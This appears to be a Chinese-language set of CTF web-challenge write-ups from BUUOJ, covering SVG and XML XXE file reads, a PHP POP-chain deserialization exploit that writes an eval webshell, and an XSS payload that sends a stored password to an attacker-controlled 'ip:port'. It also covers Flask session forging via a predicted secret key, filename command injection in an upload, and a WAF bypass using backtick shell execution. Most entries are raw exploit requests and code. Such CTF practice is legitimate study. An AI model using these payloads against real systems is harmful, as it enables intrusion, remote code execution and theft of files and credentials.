[BSidesCF 2019]SVGMagic SVG是个XML的图片。并且存在可控的内容 是否存在XXE,构造PAYLOAD 由于不知道flag路径。一般就是在/flagxxxx。和当前目录flagxxx 而/proc/self/pwd/代表的是当前路径。可以构造/proc/self/pwd/flag.txt读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /render HTTP/1.1 Host: b474211a-3cf4-4702-9d2c-745db3dc1502.node3.buuoj.cn Content-Length: 380 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://b474211a-3cf4-4702-9d2c-745db3dc1502.node3.buuoj.cn Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7sKbBUdkFmeFXA7b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://b474211a-3cf4-4702-9d2c-745db3dc1502.node3.buuoj.cn/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UM_distinctid=17a129a5be511b-050b851bf333b5-4373266-144000-17a129a5be6691; OUTFOX_SEARCH_USER_ID_NCOO=828730801.2157147 Connection: close ------WebKitFormBoundary7sKbBUdkFmeFXA7b Content-Disposition: form-data; name="svgfile" ; filename="1.svg" Content-Type: image/svg+xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000" > <text x="10" y="20" >&file;</text> </svg> ------WebKitFormBoundary7sKbBUdkFmeFXA7b--
[EIS 2019]EzPOP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 <?php error_reporting(0 ); class A { protected $store; protected $key; protected $expire; public function __construct ($store, $key = 'flysystem' , $expire = null) { $this ->key = $key; $this ->store = $store; $this ->expire = $expire; } public function cleanContents (array $contents) { $cachedProperties = array_flip([ 'path' , 'dirname' , 'basename' , 'extension' , 'filename' , 'size' , 'mimetype' , 'visibility' , 'timestamp' , 'type' , ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage () { $cleaned = $this ->cleanContents($this ->cache); return json_encode([$cleaned, $this ->complete]); } public function save () { $contents = $this ->getForStorage(); $this ->store->set($this ->key, $contents, $this ->expire); } public function __destruct () { if (!$this ->autosave) { $this ->save(); } } } class B { protected function getExpireTime ($expire) : int { return (int) $expire; } public function getCacheKey (string $name) : string { return $this ->options['prefix' ] . $name; } protected function serialize ($data) : string { if (is_numeric($data)) { return (string) $data; } $serialize = $this ->options['serialize' ]; return $serialize($data); } public function set ($name, $value, $expire = null) : bool { $this ->writeTimes++; if (is_null($expire)) { $expire = $this ->options['expire' ]; } $expire = $this ->getExpireTime($expire); $filename = $this ->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755 , true ); } catch (\Exception $e) { } } $data = $this ->serialize($value); if ($this ->options['data_compress' ] && function_exists('gzcompress' )) { $data = gzcompress($data, 3 ); } $data = "<?php\n//" . sprintf('%012d' , $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true ; } return false ; } } if (isset ($_GET['src' ])){ highlight_file(__FILE__ ); } $dir = "uploads/" ; if (!is_dir($dir)){ mkdir($dir); } unserialize($_GET["data" ]);
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class A { protected $store; protected $key; protected $expire; public function __construct () { $this ->store = new B(); $this ->key = '' ; $this ->expire = 0 ; $this ->autosave = false ; $this ->cache = []; $this ->complete = 'aaa' .base64_encode('<?php @eval($_POST[a]); ?>' ); } } class B { public function __construct () { $this ->writeTimes = 0 ; $this ->options = array ( 'data_compress' => false , 'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/shell.php' , 'serialize' => 'strval' ); } } echo urlencode(serialize(new A));
[b01lers2020]Life on Mars [GWCTF 2019]mypassword https://github.com/gwht/2019GWCTF/tree/master/wp/web/mypassword
回到登录界面发现login.js中的记住密码功能会将读取cookie中的password。于是构造一个登录框并且引入login.js提交反馈等待bot点开获得flag
1 2 3 4 5 6 7 8 <incookieput type ="text" name="username" > <incookieput type ="password" name="password" > <scrcookieipt scookierc="./js/login.js" ></scrcookieipt> <scrcookieipt> var psw = docucookiement.getcookieElementsByName("password" )[0].value; docucookiement.locacookietion="http://ip:port/?psw=" +psw; </scrcookieipt>
[CSAWQual 2019]Web_Unagi 1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" > ]><users > <user > <username > bob</username > <password > passwd2</password > <name > Bob</name > <email > bob@fakesite.com</email > <group > CSAW2019</group > <intro > &xxe; </intro > </user > </users >
1 iconv -f utf8 -t utf-16 2.xml>1.xml
[GoogleCTF2019 Quals]Bnv exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /api/search HTTP/1.1 Host: 35328b36-f427-464f-b34f-e4463d613edd.node3.buuoj.cn Content-Length: 342 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36 Content-type: application/xml Accept: */* Origin: http://35328b36-f427-464f-b34f-e4463d613edd.node3.buuoj.cn Referer: http://35328b36-f427-464f-b34f-e4463d613edd.node3.buuoj.cn/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UM_distinctid=17a129a5be511b-050b851bf333b5-4373266-144000-17a129a5be6691; OUTFOX_SEARCH_USER_ID_NCOO=828730801.2157147 Connection: close <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd" > <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'test%file;'>"> %eval; %error; ' > %local_dtd; ]>
[CISCN2019 华东南赛区]Web4 在flask框架下可以用一个名为的local_file协议,使用方法和file://协议没什么区别,读一下/etc/passwd发现能用,确定框架flask,python题。读一下/proc/self/cmdline得到路径/app/app.py,读取获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str(random.random()*233 ) app.debug = True @app.route('/') def index () : session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read') def read () : try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag () : if session and session['username' ] == 'fuck' : return open('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
session伪造,对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。
那么就需要读取Mac地址local_file:///sys/class/net/eth0/address
1 2 3 4 >>> import random >>> random.seed(0x0242ac10a85c) >>> print (str(random.random()*233)) 196.83043201
生成flask
1 2 python2 flask_session_cookie_manager2.py encode -s 196.83043201 -t "{'username': b'fuck'}" eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YM9qwA.T0VgPVp2FohrHS9Ew76U4tv9fpQ
替换cookie,访问/flag,即可得flag
[N1CTF 2018]eating_cms register.php存在注册页面,注册一个账户登录
存在任意文件读取
1 /user.php?page=php://filter/convert.base64-encode/resource=info
parse_url可用///user.php?page=绕过
1 /user.php?page=php://filter/convert.base64-encode/resource=upllloadddd
upllloadddd存在命令执行,上传的文件名可控。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php $allowtype = array ("gif" ,"png" ,"jpg" ); $size = 10000000 ; $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/" ; $filename = $_FILES['file' ]['name' ]; if (is_uploaded_file($_FILES['file' ]['tmp_name' ])){ if (!move_uploaded_file($_FILES['file' ]['tmp_name' ],$path.$filename)){ die ("error:can not move" ); } }else { die ("error:not an upload file锛�" ); } $newfile = $path.$filename; echo "file upload success<br />" ;echo $filename;$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/" .$filename." | base64 -w 0" ); echo "<img src='data:image/png;base64," .$picdata."'></img>" ;if ($_FILES['file' ]['error' ]>0 ){ unlink($newfile); die ("Upload file error: " ); } $ext = array_pop(explode("." ,$_FILES['file' ]['name' ])); if (!in_array($ext,$allowtype)){ unlink($newfile); } ?>
/被过滤了,可用cd ..;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /user.php?page=upllloadddd HTTP/1.1 Host: 112d23c0-144a-4af6-b279-94c01280f4c5.node3.buuoj.cn Content-Length: 238 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAoQUhaCAfqNyGqOc User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UM_distinctid=17a129a5be511b-050b851bf333b5-4373266-144000-17a129a5be6691; OUTFOX_SEARCH_USER_ID_NCOO=828730801.2157147; PHPSESSID=m804ei9kmp4mcvpbjctvvv7qj4 Connection: close ------WebKitFormBoundaryAoQUhaCAfqNyGqOc Content-Disposition: form-data; name="file" ; filename="; cd ..;cat flag_233333; #" Content-Type: image/png <?php echo md5(1); @eval ($_POST [a]); ?> ------WebKitFormBoundaryAoQUhaCAfqNyGqOc--
红明谷 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting(0 ); highlight_file(__FILE__ ); function check ($input) { if (preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input)){ die ('hacker!!!' ); }else { return $input; } } function waf ($input) { if (is_array($input)){ foreach ($input as $key=>$output){ $input[$key] = waf($output); } }else { $input = check($input); } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR' ]) . '/' ; if (!file_exists($dir)){ mkdir($dir); } switch ($_GET["action" ] ?? "" ) { case 'pwd' : echo $dir; break ; case 'upload' : $data = $_GET["data" ] ?? "" ; waf($data); file_put_contents("$dir" . "index.php" , $data); } ?>
获取flag文件名
1 ?action=upload&data=<?=`ls\$IFS \$9 ../../../../../../`?>
获取flag
1 ?action=upload&data=<?=`cat\$IFS \$9 ../../../../../../f*`?>